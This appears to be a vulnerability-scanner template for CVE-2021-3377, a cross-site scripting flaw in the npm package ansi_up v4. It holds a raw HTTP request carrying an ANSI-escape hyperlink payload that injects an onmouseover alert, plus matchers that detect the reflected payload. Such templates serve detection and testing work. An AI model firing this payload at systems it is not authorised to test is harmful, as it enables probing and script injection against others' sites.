CVE-2021-3377.yaml

id: CVE-2021-3377

info:
  name: ansi_up xss
  description: The npm package ansi_up converts ANSI escape codes into HTML. In ansi_up v4, ANSI escape codes can be used to create HTML hyperlinks. Due to insufficient URL sanitization, this feature is affected by a cross-site scripting (XSS) vulnerability. This issue is fixed in v5.0.0.
  reference: https://doyensec.com/resources/Doyensec_Advisory_ansi_up4_XSS.pdf
  author: geeknik
  severity: medium

requests:
  - raw:
      - |+
        GET /\u001B]8;;https://example.com"/onmouseover="alert(1)\u0007example\u001B]8;;\u0007 HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
        Connection: close

    unsafe: true
    redirects: true
    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "text/html"
      - type: word
        words:
          - "com\"/onmouseover=\"alert(1)\">"